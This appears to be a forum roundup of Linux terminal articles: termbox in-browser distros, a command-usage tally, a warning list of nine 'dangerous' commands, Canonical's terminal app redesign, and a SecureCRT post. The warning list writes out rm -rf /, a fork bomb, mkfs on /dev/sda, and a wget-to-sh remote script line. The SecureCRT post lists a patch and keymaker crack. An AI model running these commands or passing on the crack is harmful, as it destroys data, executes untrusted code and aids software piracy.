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  1. Test Command Line Version of Various Linux Distributions In Web Browser When Canonical launched an online demo version of Ubuntu, I liked the idea. It gives the look and feel of a real system. New users can try their hands on, without installing anything, right in their browser. On a similar note, there is a new website called termbox that lets you try several Linux distributions in your web browser. The difference here is that it doesn’t provide GUI. You’ll have the command line version of some popular Linux distributions at your disposal. termbox uses the tagline ‘Launch a Linux box with two clicks’ which is quite accurate. All you have to do is to click to select the Linux distribution and then click on launch (checking the captcha is a semi step as well). You’ll see a screen with Linux terminal. You can use it as you want because you get to be the root here. You can also change the theme of the Linux terminal. Arch Linux It is free to use and the session remains alive for 3 hours. It is deleted afterward. As of now, you can use the following Linux distributions: Ubuntu 16.04 Debian 8 Fedora 25 CentOS 7 Arch Linux openSUSE Tumbleweed You can visit termbox website and try your hands yourself: << termbox >> The tool is using HyperContainer in the backend (basically a container and this is why it is so quick to install and use) while the front end is powered by hterm. The website is free to use because 2 hours of a 512MB Termbox instance currently cost only around $0.0001. If you like, you can host the entire termbox on your own server for your specific usage. It is completely free and open source. You can find the source code on their GitHub repository: << termbox on GitHub >> To me it sounds a good idea, however, I am yet to figure out actual usage of such a tool. Running shell commands perhaps or getting the feel of a different Linux distribution? What do you think of termbox? What could it be used for? Share your views in the message box below. Source
  2. [How To] See Which Terminal Commands You Use The Most A lot of us use the command line on a regular basis, be it to do some simple package management with apt or monitor system resources with top. Have you ever wondered which commands you use most often? There’s an easy way to find out. Run the following command in a new terminal window to see a list of your 10 most used terminal commands (and a small tally of how often you’ve used each): history | awk '{print $2}' | sort | uniq -c | sort -rn | head -10 Naturally these stats aren’t of any real practical value. And if you regularly clear the bash cache it may not even be hugely accurate. It also doesn’t count complete commands (e.g, ‘sudo apt update‘). But for curiosity’s sake it can be interesting to see which single commands you enter most often. My results show I’ve used the command ‘cd‘ (used for moving between directories) most often, at a rather puzzling 1,245 times since installing Ubuntu 16.04 LTS! Second was ‘sudo‘, and third, with a more modest runtime tally of 345 is ‘top‘. Want to see more than 10 commands? Just edit the number at the end of this command to the number of commands you’d like to see (e.g, -14 to see the top 14, and so on). What are yours? Source
  3. Here Are 9 Dangerous Linux Commands You Should Never Execute On Any Computer These 9 Linux commands if executed can wreak irreparable damage to any computer Most Linux commands are generally useful, but they are not the ones that are the subject matter of today. Here, we list down a total of 9 Linux commands that can wreak havoc to any computer that you use, and that can get you into a lot of trouble. rm -rf The command rm -rf / deletes everything, and that includes files on your hard drive and files on connected removable media devices. : () {: |: &} ;: :(){ :|: & };: is also known as Fork Bomb to people who possess accurate knowledge of it. It is a denial-of-service attack against a Linux System and continues to repeat itself until the system freezes. command> / dev / sda This Linux command writes raw data and all files on the block will be replaced with raw data, resulting in total loss of data in that block. mv directory / dev / null This command sends all your personal files into a black hole, which pretty much means that they will be lost to you forever. wget http: // malicious_source -O | sh The above line downloads a script from the web and sends it to sh, which executes the contents of the script. It’s always dangerous if you are running untrusted scripts, so avoid this at all costs. Mkfs.ext3 / dev / sda This will leave the hard drive without any recoverable data, thus leaving your system into an unrecoverable stage. > File This command is used to release the file content. If the above command is executed with a typing error or ignorance as ‘> xt.conf’ will write the configuration file or any other system or configuration file. ^foo^bar Not as harmful as the rest of them, but this command is used to edit the previous run command without the need of retyping the whole command again. In the wrong situation, it can become extremely harmful if you didn’t take the risk of thoroughly checking the change in original command using ^foo^bar command. Decompression Bomb When you’re asked to open a comprised file, the contents of the file contain highly compressed data. Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system so avoid this no matter what happens. Now that you are familiar with the latest Linux commands, you will do very well to avoid them. Source
  4. Canonical Show Off Converged Terminal App Design Reshaping the classic terminal app to fit multi-form factor world isn’t easy, but it’s the task that the Canonical Design team face as part of their work on Unity 8. Today, they’ve offered up a small glimpse at their design thinking in a blog post. Canonical’s Jouni Helminen explains: “On the visual side, we have brought the app in line with our Suru visual language. We have also adopted the very nice Solarized palette as the default palette.” The re-design proposes making a number of improvements to the Terminal core app currently available to install on Ubuntu phone and tablet, including the addition of features that cater to the desktop use case: Keyboard shortcuts Customisable touch/keyboard shortcuts Split screen (horizontally, vertically) option Customisable color palette Window transparency (on desktop) Unlimited history/scrollback ‘Find’ action for searching history On desktop and tablets the Terminal will sport a “visually persistent” tab bar (i.e one that’s on show all the time). On mobile, terminal tabs will be moved to the bottom edge, similar to the web-browser app. Tab behaviour aside, the proposed Terminal re-design for the Ubuntu Phone isn’t hugely dissimilar to the way the app looks now, with a different colour scheme and some new icons. Quick mobile access to shortcuts and commands Custom command shortcuts on the mobile redesign Using the Terminal app on the Ubuntu Phone is a novelty, and it’s hard to avoid the different interaction method required. One of the ways the Terminal app developers have worked around the lack of ‘full-sized keyboard’ — the on-screen keyboard lacks Ctrl, Alt, etc buttons — is through a touch-centric shortcut bar at the bottom of the screen. The shortcuts sections offers quick access to common command-line commands, including those that use Ctrl modifiers, function keys, scroll keys. A selection of common commands (e.g., top, ls, clear) is also presented. For the next iteration of the app Canonical’s designers hope to list many of these shortcuts by recency, and allow users to add their own custom key shortcuts and commands. Another interesting change mooted is using a specific auto-correct dictionary for the keyboard app when used in the Terminal. Getting it right is critical The command line is a key part of the “ubuntu” experience for many users and developers. Canonical will be keen to avoid offering a hobbled, limited or alien command prompt to users opting to try Unity 8 on the desktop. But while using the command line from a phone or tablet feels novel, and shortcomings or missing features expected, desktop users will be far more demanding. Do you like what you see so far? Share your thoughts on the converged Terminal app designs in the giant hole we’ve carved out below. Source Alternate Source - Canonical Plans on Improving the Ubuntu Linux Terminal UX on Mobile and Desktop
  5. sebangzat

    VanDyke SecureCRT v7.2.3.500

    VanDyke SecureCRT v7.2.3.500 VanDyke SecureCRT - advanced Win32 terminal emulator that allows for connection to a computer on the local network and the Web (Unix, VMS, and Windows servers) using secure protocols SSH1 and SSH2 (Secure SHell). The program is able to emulate the VT100, VT102, VT220, ANSI, SCO ANSI and Linux console with color support and allows an unlimited number of sessions c possibility of assigning them names. Supports work through HTTP proxies and firewalls, ZModem and XModem, using scripts (VBScript and JScript), maintenance of log files, automatic login and NTLM authentication to connect to Microsoft Telnet Server. To connect to a server, you need only specify its name. Perhaps save sessions and use the settings created in the future, and automatic authorization without the use of scripts. SecureCRT supports SSH1, SSH2, Telnet, Telnet / SSL, RLogin, Serial, and TAPI protocols and authentication via password, public-key, X.509 certificates, and Kerberos v5 via GSSAPI. Ciphers include AES, Twofish, Blowfish, 3DES, and RC4. Emulations include VT100, VT102, VT220, ANSI, SCO ANSI, Wyse 50/60, Xterm, and Linux console - all with ANSI color. Multibyte character sets are supported for Japanese, Korean, and Chinese, as are scalable line-drawing fonts. SecureCRT has a multi-session tabbed interface with extensive session management features. Customization options include toolbars, menus, keymaps, and login scripts, as well as fonts, cursors, and color schemes. Named sessions and firewalls let you create session-specific configurations. An optional "FIPS Mode uses a FIPS 140-2 validated cryptographic library and only allows FIPS-approved algorithms. Other features include the Activator tray utility to minimize desktop clutter, auto logon, printing, Emacs mode, and SOCKS firewall support. ActiveX scripting support saves time by automating routine configuration tasks. Securely transfer files using SFTP, or by using Zmodem or Xmodem from an SSH1 or SSH2 session. SecureCRT and the SecureFX file transfer client can share global and session options and the host key database so configuring a connection only needs to be done once. Date: 2014 Platform: Windows All Language: English Medicine: Patch.And.Keymaker-ZWT Homepage: http://www.vandyke.com/products/securecrt/
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